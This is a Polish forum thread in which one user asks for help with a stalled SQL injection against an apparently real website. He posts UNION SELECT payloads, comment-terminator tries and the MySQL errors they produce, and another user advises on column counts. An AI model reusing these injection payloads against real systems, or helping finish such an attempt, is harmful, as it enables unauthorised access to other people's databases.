SQL injection - komentowanie

unlock

Użytkownik
Dołączył
Czerwiec 16, 2008
Posty
128
wiem, ze jest 1 kolumna, bo gdy dam union select 2 wyrzuca blad ze jest rozna ilosc kolumn
problem polega w tym, ze do mojego zapytania jest dorzucane:

and as_numer_strony=2, a calosc wyglada tak :

Kod:
Database error: Invalid SQL: SELECT as_podtytul_strony FROM ski_artykuly_strony WHERE as_id_artykulu=3 AND 1=2 union select 1 AND as_numer_strony=2
MySQL Error: 1054 (Unknown column 'as_numer_strony' in 'field list')
Session halted.

gdy to komentuje wyrzuca :
Kod:
Database error: Invalid SQL: SELECT MAX(as_numer_strony) FROM ski_artykuly_strony WHERE as_id_artykulu = 3 AND 1=2 union select 1/*
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*' at line 1)
Session halted.
probowalem tez komentowac : - -
nic wiecej mi nie przychodzi do glowy prosze o pomoc !
 

amex

Użytkownik
Dołączył
Marzec 11, 2007
Posty
934
SELECT as_podtytul_strony FROM ski_artykuly_strony WHERE as_id_artykulu=3 AND 1=2 union select 1 AND as_numer_strony=2[/b]

są tam co najmniej 2 kolumny (w sumie to 3 skoro mówisz że przy 2 wyświetla błąd)
 

unlock

Użytkownik
Dołączył
Czerwiec 16, 2008
Posty
128
ale tylko przy jedynce nie ma błedu, przy 1,2 ...... jest blad :

Kod:
The used SELECT statements have a different number of columns

odkrylem ciekawa rzecz, gdy daje : union select 1 from as_id_artykulu
as_id_artykulu <- na 100% jest bo wystepuje w errorze
to daje komunikat, ze nie istnieje

Kod:
Table 'syskon.as_id_artykulu' doesn't exist
 

unlock

Użytkownik
Dołączył
Czerwiec 16, 2008
Posty
128
gdy komentuje --
to wyswietla sie na stronie :
Nieprawidlowy url (cos w tym stylu)
a w nawiasie obok wyswietla sie moje zapytanie
 
Do góry Bottom